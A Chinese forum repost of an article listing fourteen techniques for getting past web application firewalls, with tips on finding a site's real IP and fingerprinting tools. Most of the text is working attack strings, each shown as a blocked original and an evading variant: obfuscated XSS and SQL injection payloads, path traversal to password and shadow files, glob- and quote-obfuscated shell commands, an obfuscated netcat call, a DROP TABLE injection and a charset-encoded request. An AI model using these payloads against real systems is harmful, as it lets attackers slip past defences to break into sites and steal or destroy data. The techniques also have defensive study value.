搜索

[18324] 2021-04-02_干货waf绕过的14种方法总结及工具介绍

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-04-02_干货waf绕过的14种方法总结及工具介绍 干 货 | w a f 绕 过 的 1 4 种 方 法 总 结 及 工 具 介 绍 H A C K 之 道   2 0 2 1 - 0 4 - 0 2 以 下 文 章 来 源 于 乌 雲 安 全   ， 作 者 j u s t o n e 什 么 是 什 么 是 W A F W e b 应 用 防 火 墙 是 通 过 执 行 一 系 列 针 对 H T T P / H T T P S 的 安 全 策 略 来 专 门 为 W e b 应 用 提 供 保 护 的 一 款 产 品 ， 旨 在 检 测 和 阻 止 W e b 应 用 程 序 上 的 网 络 攻 击 。 W A F 作 用 于 O S I 模 型 的 应 用 层 。 渗 透 测 试 时 ， 首 先 要 确 定 w e b 应 用 的 真 实 I P 地 址 ， W A F 类 型 ， 然 后 尝 试 绕 过 W A F 。 总 结 使 用 总 结 使 用 W A F 的 原 因 的 原 因 深 度 防 御 策 略 。 检 测 并 阻 止 针 对 易 受 攻 击 的 W e b 应 用 程 序 的 攻 击 。 防 范 各 种 漏 洞 。   保 护 公 司 的 网 络 环 境 。 受 欢 迎 的 受 欢 迎 的 W A F 供 应 商 供 应 商                                 如 何 找 到 如 何 找 到 W A F 类 型 和 真 实 类 型 和 真 实 I P 地 址 地 址 1 . 使 用 s h o d a n . i o 或 c e n s y s . i o 2 . 搜 索 S P F 记 录 和 T X T 记 录 。 S P F 和 T X T 记 录 可 能 存 在 原 始 的 I P 地 址 。 3 . 也 可 以 在 “ 历 史 数 据 ” 中 进 行 检 索 ， 在 旧 记 录 中 可 能 具 有 原 始 I P 。 查 找 域 名 、 I P 地 址 等 历 史 数 据 ： s e c u r i t y t r a i l s . c o m 乌 雲 安 全 乌 雲 安 全   . 乌 雲 安 全 ， 致 力 于 红 队 攻 防 实 战 、 内 网 渗 透 、 代 码 审 计 、 社 工 、 安 卓 逆 向 、 C T F 比 赛 技 巧 、 安 全 运 维 等 技 术 干 货 分 享 ， 并 预 警 最 新 漏 洞 ， 定 期 分 享 常 用 渗 透 工 具 、 教 程 等 资 源 。
如 何 证 明 如 何 证 明 W A F 已 经 正 确 设 置 已 经 正 确 设 置 W A F 使 用 标 准 端 口 8 0 、 4 4 3 、 8 0 0 0 、 8 0 0 8 、 8 0 8 0 和 8 0 8 8 端 口 。 W A F 在 请 求 中 设 置 自 己 的 c o o k i e 。 W A F 将 自 己 与 单 独 的 标 头 关 联 。 W A F 在 服 务 器 标 头 中 公 开 自 己 。 W A F 在 响 应 内 容 中 公 开 自 己 。 W A F 会 根 据 恶 意 请 求 以 唯 一 的 响 应 代 码 进 行 响 应 。 从 浏 览 器 发 送 标 准 G E T 请 求 ， 拦 截 并 记 录 响 应 头 （ 特 定 的 c o o k i e ） 。 从 命 令 行 发 送 请 求 （ 例 如 c U R L ） ， 然 后 检 查 响 应 内 容 和 标 头 。 将 G E T 请 求 发 送 到 随 机 打 开 的 端 口 ， 并 检 查 可 能 暴 露 W A F 身 份 的 标 语 。 尝 试 一 些 S Q L 注 入 p l a y l o a d ， 例 如 ： “ ” 或 1   =   1 - 登 录 表 单 或 忘 记 密 码 。 在 某 些 输 入 字 段 中 尝 试 使 用 X S S 有 效 p l a y l o a d ， 例 如 < s c r i p t >   c o n f i r m （ ） < /   s c r i p t > 。 尝 试 将 . . / . . / . . / e t c / p a s s w d 添 加 到 U R L 地 址 中 的 随 机 参 数 中 。 将 U R L 末 尾 的 一 些 有 效 p l a y l o a d （ 例 如 “   O R   S L E E P （ 5 ） O R ） ” 添 加 到 u r l 作 为 随 机 参 数 。 使 用 过 时 的 协 议 （ 例 如 H T T P   /   0 . 9 ） 发 送 G E T 请 求 （ H T T P   /   0 . 9 不 支 持 P O S T 类 型 的 查 询 ） 。 根 据 不 同 类 型 的 交 互 检 查 服 务 器 标 头 。 将 原 始 的 F I N ＆ R S T 数 据 包 发 送 到 服 务 器 并 识 别 响 应 。 边 通 道 攻 击 – 检 查 请 求 和 响 应 内 容 的 计 时 行 为 。 检 查 和 绕 过 检 查 和 绕 过 W A F 的 工 具 的 工 具 w 3 a f   —   W e b 应 用 程 序 攻 击 和 审 核 框 架 w a f w 0 0 f   — 识 别 和 指 纹 W e b 应 用 程 序 防 火 墙 B y p a s s W A F   – 通 过 滥 用 D N S 历 史 记 录 来 绕 过 防 火 墙 。 该 工 具 将 搜 索 旧 的 D N S   A 记 录 ， 并 检 查 服 务 器 是 否 对 该 域 进 行 答 复 。   C l o u d F a i l   – 是 一 种 战 术 侦 察 工 具 ， 试 图 在 C l o u d f l a r e   W A F 后 面 找 到 原 始 I P 地 址 。 绕 过 绕 过 W A F 的 技 术 的 技 术 1 . 大 小 写 转 换 技 术 大 小 写 转 换 技 术 组 合 大 写 和 小 写 字 符 以 创 建 有 效 的 有 效 内 容 。 基 本 要 求 ： < s c r i p t > c o n f i r m ( ) < / s c r i p t > 绕 过 的 技 术 ： < S c r I p T > c o n f i r m ( ) < / s C R i P t > 基 本 要 求 ： S E L E C T   *   F R O M   *   W H E R E   O W N E R   =   ' N A M E _ O F _ D B ' 绕 过 的 技 术 ： s E L e C t   *   f R o M   *   w H e r E   O W N E R   =   ' N A M E _ O F _ D B '
U R L 中 的 示 例 ： h t t p : / / e x a m p l e . c o m / i n d e x . p h p ? p a g e _ i d = - 1   U n I o N   S e L e C T   1 , 2 , 3 , 4 2 .   U R L 编 码 技 术 编 码 技 术 使 用 ％ 编 码 /   U R L 编 码 对 普 通 有 效 载 荷 进 行 编 码 。 您 可 以 使 用 B u r p 。 它 具 有 编 码 器 / 解 码 器 工 具 。 被 W A F 阻 止 ： < S v g / x = " > " / O n L o A D = c o n f i r m ( ) / / 绕 过 的 技 术 ： % 3 C S v g % 2 F x % 3 D % 2 2 % 3 E % 2 2 % 2 F O n L o A D % 3 D c o n f i r m % 2 8 % 2 9 % 2 F % 2 F 被 W A F 阻 止 ： U n i O n ( S e L e C t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 ) 绕 过 的 技 术 ： U n i O n % 2 8 S e L e C t + 1 % 2 C 2 % 2 C 3 % 2 C 4 % 2 C 5 % 2 C 6 % 2 C 7 % 2 C 8 % 2 C 9 % 2 C 1 0 % 2 9 U R L 中 的 示 例 ： h t t p s : / / e x a m p l e . c o m / p a g e . p h p ? i d = 1 % 2 5 2 f % 2 5 2 a * / U N I O N % 2 5 2 f % 2 5 2 a   / S E L E C T 3 .   U n i c o d e 技 术 技 术 U n i c o d e 编 码 的 A S C I I 字 符 为 我 们 提 供 了 绕 过 W A F 的 绝 佳 变 体 。 对 整 个 或 部 分 有 效 载 荷 进 行 编 码 以 获 得 结 果 。 基 本 要 求 ： < m a r q u e e   o n s t a r t = p r o m p t ( ) > 混 淆 ： < m a r q u e e   o n s t a r t = u 0 0 7 0 r u 0 6 f u 0 0 6 d p t ( ) > 被 W A F 阻 止 ： / ? r e d i r = h t t p : / / g o o g l e . c o m 绕 过 的 技 术 ： / ? r e d i r = h t t p : / / g o o g l e 。 c o m   ( U n i c o d e   a l t e r n a t i v e ) 被 W A F 阻 止 ： < m a r q u e e   l o o p = 1   o n f i n i s h = a l e r t ( ) > x 绕 过 的 技 术 ： ＜ m a r q u e e   l o o p ＝ 1   o n f i n i s h ＝ a l e r t ︵ 1 ) > x   ( U n i c o d e   a l t e r n a t i v e ) 基 本 要 求 ： . . / . . / e t c / s h a d o w 混 淆 ： % C 0 A E % C 0 A E % C 0 A F % C 0 A E % C 0 A E % C 0 A F e t c % C 0 A F s h a d o w
4 .   H T M L 编 码 技 术 编 码 技 术 W e b 应 用 将 特 殊 字 符 编 码 为 H T M L 。 对 它 们 进 行 编 码 和 渲 染 。 基 本 的 绕 过 情 况 ， 带 有 H T M L 编 码 的 数 字 和 通 用 编 码 。 基 本 要 求 ： " > < i m g   s r c = x   o n e r r o r = c o n f i r m ( ) > 编 码 有 效 载 荷 ： & q u o t ; & g t ; & l t ; i m g   s r c = x   o n e r r o r = c o n f i r m & l p a r ; & r p a r ; & g t ;   编 码 有 效 载 荷 ： & # 3 4 ; & # 6 2 ; & # 6 0 ; i m g   s r c = x   o n e r r o r = c o n f i r m & # 4 0 ; & # 4 1 ; & # 6 2 ;   5 . 混 合 编 码 技 术 混 合 编 码 技 术 这 样 的 规 则 通 常 倾 向 于 滤 除 特 定 类 型 的 编 码 。 混 合 编 码 有 效 载 荷 可 绕 过 此 类 过 滤 器 。 换 行 符 和 选 项 卡 ， 进 一 步 增 加 了 混 淆 。 混 淆 负 载 ： < A   H R E F = " h t t   p : / / 6   6 . 0 0 0 1 4 6 . 0 x 7 . 1 4 7 / " > X S S < / A > 6 . 使 用 注 释 技 术 使 用 注 释 技 术 注 释 使 标 准 有 效 载 荷 向 量 模 糊 不 清 。 不 同 的 有 效 载 荷 具 有 不 同 的 混 淆 方 式 。 被 W A F 阻 止 ： < s c r i p t > c o n f i r m ( ) < / s c r i p t > 绕 过 的 技 术 ： < ! - - > < s c r i p t > c o n f i r m / * * / ( ) / * * / < / s c r i p t > 被 W A F 阻 止 ： / ? i d = 1 + u n i o n + s e l e c t + 1 , 2 - - 绕 过 的 技 术 ： / ? i d = 1 + u n / * * / i o n + s e l / * * / e c t + 1 , 2 - - 在 攻 击 字 符 串 中 间 插 入 注 释 。 例 如 ， /   * ！ S E L E C T   *   / 可 能 会 被 W A F 忽 略 ， 但 会 传 递 到 目 标 应 用 程 序 并 由 m y s q l 数 据 库 进 行 处 理 。 U R L 中 的 示 例 ： i n d e x . p h p ? p a g e _ i d = - 1   % 5 5 n I O N / * * / % 5 3 E l e c T   1 , 2 , 3 , 4             ' u n i o n % a 0 s e l e c t   p a s s   f r o m   u s e r s # U R L 中 的 示 例 ： i n d e x . p h p ? p a g e _ i d = - 1   / * ! U N I O N * /   / * ! S E L E C T * /   1 , 2 , 3   7 . 双 重 编 码 技 术 双 重 编 码 技 术
W e b 应 用 程 序 防 火 墙 策 略 倾 向 于 对 字 符 进 行 编 码 以 保 护 W e b 应 用 程 序 。 较 差 的 过 滤 器 （ 没 有 递 归 过 滤 器 ） 可 以 通 过 双 重 编 码 来 绕 过 。 基 本 要 求 ： h t t p : / / e x a m p l e / c g i / . . / . . / w i n n t / s y s t e m 3 2 / c m d . e x e ? / c + d i r + c : 混 淆 负 载 ： h t t p : / / e x a m p l e / c g i / % 2 5 2 E % 2 5 2 E % 2 5 2 F % 2 5 2 E % 2 5 2 E % 2 5 2 F w i n n t / s y s t e m 3 2 / c m d . e x e ? / c + d i r + c : 基 本 要 求 ： < s c r i p t > c o n f i r m ( ) < / s c r i p t > 混 淆 负 载 ： % 2 5 3 C s c r i p t % 2 5 3 E c o n f i r m ( ) % 2 5 3 C % 2 5 2 F s c r i p t % 2 5 3 E 8 . 通 配 符 混 淆 技 术 通 配 符 混 淆 技 术 各 种 命 令 行 实 用 程 序 使 用 全 局 模 式 来 处 理 多 个 文 件 。 我 们 可 以 更 改 它 们 以 运 行 系 统 命 令 。 基 本 要 求 ： / b i n / c a t   / e t c / p a s s w d 混 淆 负 载 ： / ? ? ? / ? ? t   / ? ? ? / ? ? s s ? ? 二 手 字 符 ： /   ?   t   s 基 本 要 求 ： / b i n / n c   1 2 7 . 0 . 0 . 1   4 4 3 混 淆 负 载 ： / ? ? ? / n ?   2 1 3 0 7 0 6 4 3 3   4 4 3 二 手 字 符 ： /   ?   n   [ 0 - 9 ] 动 态 有 效 载 荷 生 成 技 术 ： 编 程 语 言 具 有 不 同 的 连 接 模 式 和 语 法 。 这 使 我 们 能 够 生 成 可 以 绕 过 许 多 过 滤 器 和 规 则 的 有 效 载 荷 。 基 本 要 求 ： < s c r i p t > c o n f i r m ( ) < / s c r i p t > 混 淆 负 载 ： < s c r i p t > e v a l ( ' c o n ' + ' f i ' + ' r m ( ) ' ) < / s c r i p t > 基 本 要 求 ： / b i n / c a t   / e t c / s h a d o w
混 淆 负 载 ： / b i ' n ' ' ' / c ' ' a t '   / e ' t c ' / s h ' ' a d ' o w B a s h 允 许 执 行 路 径 串 联 。 基 本 要 求 ： < i f r a m e / o n l o a d = ' t h i s [ " s r c " ] = " j a v a s c r i p t : c o n f i r m ( ) " ' ; > 混 淆 负 载 < i f r a m e / o n l o a d = ' t h i s [ " s r c " ] = " j a v " + " a s & T a b ; c r " + " i p t : c o n " + " f i r " + " m ( ) " ' ; > 9 . 垃 圾 字 符 技 术 垃 圾 字 符 技 术 W A F 可 以 轻 松 过 滤 掉 简 单 的 有 效 负 载 。 添 加 一 些 垃 圾 字 符 有 助 于 避 免 检 测 （ 仅 在 特 定 情 况 下 ） 。 此 技 术 通 常 有 助 于 混 淆 基 于 正 则 表 达 式 的 防 火 墙 。 基 本 要 求 ： < s c r i p t > c o n f i r m ( ) < / s c r i p t > 混 淆 负 载 ： < s c r i p t > + - + - 1 - + - + c o n f i r m ( ) < / s c r i p t > 基 本 要 求 ： < B O D Y   o n l o a d = c o n f i r m ( ) > 混 淆 负 载 ： < B O D Y   o n l o a d ! # $ % & ( ) * ~ + - _ . , : ; ? @ [ / | ] ^ ` = c o n f i r m ( ) > 基 本 要 求 ： < a   h r e f = j a v a s c r i p t ; a l e r t ( ) > C l i c k M e 绕 过 的 技 术 ： < a   a a   a a a   a a a a   a a a a a   a a a a a a   a a a a a a a   a a a a a a a a   a a a a a a a a a a   h r e f = j & # 9 7 v & # 9 7 s c r i p t & # x 3 A ; & # 9 7 l e r t ( 1 ) > C l i c k M e 1 0 . 换 行 技 术 许 多 具 有 基 于 正 则 表 达 式 的 W A F 可 以 有 效 地 阻 止 许 多 尝 试 。 换 行 技 术 （ C R 和 L F ） 可 以 破 坏 防 火 墙 的 正 则 表 达 式 并 绕 过 某 些 东 西 。 基 本 要 求 ： < i f r a m e   s r c = j a v a s c r i p t : c o n f i r m ( h a c k e r ) " > 混 淆 负 载 ： < i f r a m e   > 1 1 . 未 初 始 化 的 变 量 技 术 未 初 始 化 的 变 量 技 术 可 以 使 用 未 初 始 化 的 b a s h 变 量 规 避 基 于 正 则 表 达 式 的 错 误 过 滤 器 。 该 值 等 于 n u l l ， 其 作 用 类 似 于 空 字 符 串 。 B a s h 和 P e r l 允 许 这 种 解 释 。
一 级 混 淆 ： 正 常 基 本 要 求 ： / b i n / c a t   / e t c / s h a d o w 混 淆 负 载 ： / b i n / c a t $ u   / e t c / s h a d o w $ u 二 级 混 淆 ： 基 于 位 置 基 本 要 求 ： / b i n / c a t   / e t c / s h a d o w 混 淆 负 载 ： $ u / b i n $ u / c a t $ u   $ u / e t c $ u / s h a d o w $ u 第 三 层 混 淆 ： 随 机 字 符 基 本 要 求 ： / b i n / c a t   / e t c / p a s s w d 混 淆 负 载 ： $ a a a a a a / b i n $ b b b b b b / c a t $ c c c c c c c   $ d d d d d d / e t c $ e e e e e e e / p a s s w d $ f f f f f f f 1 2 . 制 表 符 和 换 行 技 术 制 表 符 和 换 行 技 术 选 项 卡 通 常 有 助 于 规 避 防 火 墙 ， 尤 其 是 基 于 正 则 表 达 式 的 防 火 墙 。 当 正 则 表 达 式 需 要 空 格 而 不 是 制 表 符 时 ， 制 表 符 可 以 帮 助 打 破 W A F 正 则 表 达 式 。 基 本 要 求 ： < I M G   > 绕 过 的 技 术 ： < I M G   > 变 体 ： < I M G   > 基 本 要 求 ： h t t p : / / t e s t . c o m / t e s t ? i d = 1   u n i o n   s e l e c t   1 , 2 , 3 绕 过 的 技 术 ： h t t p : / / t e s t . c o m / t e s t ? i d = 1 % 0 9 u n i o n % 2 3 % 0 A % 0 D s e l e c t % 2 D % 2 D % 0 A % 0 D 1 , 2 , 3 基 本 要 求 ： < i f r a m e   s r c = j a v a s c r i p t : c o n f i r m ( ) > < / i f r a m e > 混 淆 负 载 ： < i f r a m e   s r c = j & T a b ; a & T a b ; v & T a b ; a & T a b ; s & T a b ; c & T a b ; r & T a b ; i & T a b ; p & T a b ; t & T a b ; : c & T a b ; o & T a b ; n & T a b ; f & T a b ; i & T a b ; r & T a b ; m & T a b ; % 2 8 & T a b ; % 2 9 > < / i f r a m e > 1 3 . 令 牌 破 坏 者 技 术 令 牌 破 坏 者 技 术 对 令 牌 的 攻 击 企 图 打 破 使 用 令 牌 中 断 器 将 请 求 拆 分 为 令 牌 的 逻 辑 。 令 牌 破 坏 器 是 允 许 影 响 字 符 串 的 元 素 和 某 个 令 牌 之 间 的 对 应 关 系 的 符 号 。
使 用 令 牌 破 坏 器 时 ， 我 们 的 请 求 必 须 保 持 有 效 。 案 例 研 究 ： 令 牌 生 成 器 的 未 知 令 牌 我 们 的 有 效 载 荷 ： ? i d = ‘ - s q l i t e _ v e r s i o n ( )   U N I O N   S E L E C T   p a s s w o r d s   F R O M   u s e r s   - - 案 例 研 究 ： 解 析 器 的 未 知 上 下 文 （ 注 意 无 上 下 文 的 括 号 ） 第 一 有 效 载 荷 ： ? i d = 1 2 ) ; D R O P   T A B L E   u s e r s   - - 第 二 有 效 载 荷 ： ? i d = 1 3 3 )   I N T O   O U T F I L E   ‘ x x x ’   - - 1 4 . 其 他 格 式 的 混 淆 其 他 格 式 的 混 淆 许 多 W e b 应 用 程 序 支 持 不 同 的 编 码 类 型 ， 并 且 可 以 解 释 编 码 。 我 们 始 终 需 要 将 有 效 负 载 混 淆 为 W A F 不 支 持 的 格 式 ， 但 是 服 务 器 会 走 私 我 们 的 有 效 负 载 。 I I S 案 例 ：   I I S   6 、 7 . 5 、 8 和 1 0 允 许 I B M 0 3 7 字 符 解 释 。 发 送 带 有 查 询 的 编 码 参 数 。 原 始 请 求 ： P O S T   / e x a m p l e . a s p x ? i d 7 = s o m e t e x t   H T T P / 1 . 1 H O S T :   t a r g e t . o r g C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   2 7 i d 2 = ' u n i o n   a l l   s e l e c t   *   f r o m   u s e r s - - 带 有 U R L 编 码 的 混 淆 请 求 ： P O S T   / e x a m p l e . a s p x ? % 8 9 % 8 4 % F 7 = % A 2 % 9 5 % 9 4 % 8 6 % A 3 % 8 8 % 8 9 % 9 5 % 8 7   H T T P / 1 . 1 H O S T :   t a r g e t . o r g C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = i b m 0 3 7 C o n t e n t - L e n g t h :   1 2 7 % 8 9 % 8 4 % F 2 = % 7 D % A 4 % 9 5 % 8 9 % 9 7 % 9 5 % 4 0 % 8 1 % 9 3 % 9 4 % 4 0 % A 2 % 8 5 % 9 3 % 8 5 % 8 4 % A 3 % 4 0 % 5 C % 4 0 % 8 6 % 9 9 % 9 7 % 9 4 % 4 0 % A 4 % A 2 % 8 5 % 9 9 % A 2 % 6 0 % 6 0 总 结 ： 总 结 ： 让 我 们 总 结 一 下 以 上 所 有 内 容 。 尝 试 使 用 不 同 的 编 码 技 术 ， 其 中 一 些 会 起 作 用 。 不 要 只 是 检 查 D N S 记 录 ， 因 为 只 有 尝 试 不 同 的 方 法 ， 你 才 能 成 功 绕 过 w a f 。 不 要 忘 记 ， W e b 资 源 中 可 以 绕 过 任 何 保 护 措 施 ， W A F 并 不 是 解 决 所 有 问 题 的 灵 丹 妙 药 。 攻 击 者 不 会 停 止 技 术 研 究 ， 而 是 一 直 在 寻 找 新 技 术 来 攻 击 你 的 网 络 资 产 。 原 创 投 稿 作 者 ： j u s t o n e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理